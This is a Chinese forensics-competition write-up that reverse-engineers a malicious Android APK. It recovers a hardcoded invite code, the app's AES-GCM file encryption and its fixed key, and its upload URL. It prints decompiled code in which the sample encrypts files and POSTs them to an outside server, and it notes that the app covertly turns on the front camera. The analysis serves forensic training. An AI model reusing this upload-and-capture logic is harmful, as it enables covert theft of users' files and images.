第一届数证杯个人赛——APK分析部分

文摘   2024-12-08 19:34   北京  

本文主要是针对比赛题目进行分析和解题思路分享,只进行知识分享,不具一定的实战能力,后台不解答涉及可能侵害他人权利的问题,切勿用于违法犯罪活动。如果有工作方面的解答需求,请后台联系添加微信私聊。

本次数证杯个人赛的APK分析部分着重考查了选手Java代码审计和静态分析apk的能力,对于学习过逆向工程的师傅来说难度不会很大;而对于笔者这种入门APK分析的而言也是很好的练习。本分析仅代表个人观点,如果发现错误,恳请各位师傅指正。

1.分析APK检材,程序申请了几项系统权限?

这个直接看雷电,或者在AndroidManifest.xml里面找uses-permission;需要注意的是,题目问了系统权限,最后一个不是系统权限,所以是4

2.分析APK检材,写出程序的入口邀请码;

首先在jadx中搜索”邀请码“,定位到邀请码判断逻辑;

然后判断正确的逻辑用的是isString方法,定位到方法声明,发现他是一个本地方法,返回一个布尔值,参数是String类型的str;

知识点:本地方法指的是非Java语言写成的方法,对于Java而言通常是C或者C++,通过JNI实现不同语言的链接,而在APK中C语言写成的方法一般存在.so文件中,属于共享对象。

所以直接去找.so文件(上面LoadLibrary是gallery所以是gallery那个),360压缩打开找到lib,然后把libgallery.so丢到IDA里面,找到isString方法

接着读一下伪代码就行:

主要从输出v7开始看,可以找到决定输出的条件逻辑。通过多层if逻辑嵌套,在内存上比对用户输入的每一个字符串,顺序为1,3,2,4,5,6分别是不是65,66,67,68,69,70,全部都是就返回用条件判断表达的布尔值,赋给输出v7;有一个不是,那么v7赋值为0,1和0再对应到邀请码判断逻辑的if条件就搞定了,最后邀请码是ACBDEF

v11 = (char *)&dest + 1;  if ( dest & 1 )    v11 = ptr;  if ( *v11 == 65 )  {    v12 = (char *)&dest + 3;    if ( dest & 1 )      v12 = (char *)ptr + 2;    if ( *v12 == 66 )    {      v13 = (char *)&dest + 2;      if ( dest & 1 )        v13 = (char *)ptr + 1;      if ( *v13 == 67 )      {        v14 = (char *)&dest + 4;        if ( dest & 1 )          v14 = (char *)ptr + 3;        if ( *v14 == 68 )        {          v15 = (char *)&dest + 5;          if ( dest & 1 )            v15 = (char *)ptr + 4;          if ( *v15 == 69 )          {            v16 = (char *)&dest + 6;            if ( dest & 1 )              v16 = (char *)ptr + 5;            LOBYTE(v7) = *v16 == 70;            if ( dest & 1 )              goto LABEL_33;            return (unsigned int)v7;          }        }      }    }  }

3.分析APK检材,该程序恶意行为时保存的文件使用的加密算法是?

加密的话,搜索“cipher”,可以找到

Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");

加密流程如下:

①创建12字节的bArr3,填充

②初始化一个AES-GCM加密器

③加密原始数据bArr,记为do_final

④记length2为do_final的长度+12

⑤创建空的bArr4

⑥bArr3的复制到bArr4的前十二个字节,把do_final在后边接上,得到最终密文bArr4

Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");byte[] bArr3 = new byte[12];new SecureRandom().nextBytes(bArr3);instance.init(1, secretKeySpec, new GCMParameterSpec(128, bArr3));byte[] doFinal = instance.doFinal(bArr);int length2 = doFinal.length + 12;byte[] bArr4 = new byte[length2];System.arraycopy(bArr3, 0, bArr4, 0, 12);System.arraycopy(doFinal, 0, bArr4, 12, doFinal.length);

然后将加密的数据放入POST的请求体,流程如下:

s sVar = new s(nVar, length2, bArr4, 0);
arrayList3.add(new o(jVar5, sVar));
if (!arrayList3.isEmpty()) {   p pVar2 = new p(g, nVar7, z1.b.w(arrayList3))
hVar.n("POST",pVar2);
POST的地址为
 
                            String str2 = "https://biwuzhuanyongurl.com/upload";                            if (x1.k.D(str2, "ws:", true)) {                                str2 = "http:".concat("ps://biwuzhuanyongurl.com/upload");                            } else if (x1.k.D(str2, "wss:", true)) {                                str2 = "https:".concat("s://biwuzhuanyongurl.com/upload");                            }                            c.e(str2, "<this>");                            y1.k kVar2 = new y1.k();                            kVar2.c(null, str2);                            hVar.f571a = kVar2.a();                            hVar.n("POST", pVar2);

也就是说,恶意程序用了AES-GCM加密内容之后post到如上地址上传文件;

4.分析APK检材,该程序进行恶意行为保存的文件使用的加密密钥是?

加密密钥首先看加密器,是secretKeySpec做密钥

SecretKeySpec secretKeySpec = new SecretKeySpec(bArr2, "AES");

他的数据从bArr2上来;

bArr2的数据由it3逐字节拼接得到

 
                int i5 = 0;                while (it3.hasNext()) {                    bArr2[i5] = ((Number) it3.next()).byteValue();                    i5++;                }

it3又由arraylist2迭代器赋值

 
                byte[] bArr2 = new byte[arrayList2.size()];                Iterator it3 = arrayList2.iterator();

arraylist2主要是以arraylist以hex字节的形式逐个字节的拼接

 
                while (it2.hasNext()) {                    G1.c.i(16);                    arrayList2.add(Byte.valueOf((byte) Integer.parseInt((String) it2.next(), 16)));                }

arraylist的内容来自stringFromJNI

 
                ArrayList arrayList = new ArrayList((length / 2) + (length % 2 == 0 ? 0 : 1));                int i3 = 0;                while (i3 >= 0 && i3 < length) {                    int i4 = i3 + 2;                    CharSequence subSequence = stringFromJNI.subSequence(i3, (i4 < 0 || i4 > length) ? length : i4);                    c.e(subSequence, "it");                    arrayList.add(subSequence.toString());                    i3 = i4;                }
int length = stringFromJNI.length();

右键追踪,追踪发现这又是一个本地方法,跟libgallery.so有关,然后直接看.so文件对应的函数,看伪代码让然后找到v3的值就是两个xmmword_105E5加起来,双击查看变量值,右键转换数据类型为十进制,再考虑到小端序的问题

__int64 __fastcall Java_com_example_gallery_GalleryActivity_stringFromJNI(__int64 a1){  __int64 v1; // rax  void *v2; // rbx  __int64 v3; // r14  v1 = operator new(0x28uLL);  v2 = (void *)v1;  *(_OWORD *)v1 = xmmword_105E5;  *(_OWORD *)(v1 + 16) = xmmword_105F5;  *(_BYTE *)(v1 + 32) = 0;  v3 = (*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)a1 + 1336LL))(a1, v1);  operator delete(v2);  return v3;}

密钥为0123456789abcdef0123456789abcdef

5.分析APK检材,该程序上传文件到服务器的url是?

前面的第三题的分析中有提到,是https://biwuzhuanyongurl.com/upload

6.分析APK检材,哪个是该程序存在的恶意行为?

源码里面直接搜FRONT_CAMERA可以找到,开了前置摄像头,答案是A


金星路406取证人
这是位于大兴区黄奕路金星406的取证爱好者,这是一个致力于学习电子数据取证的团体~~
 最新文章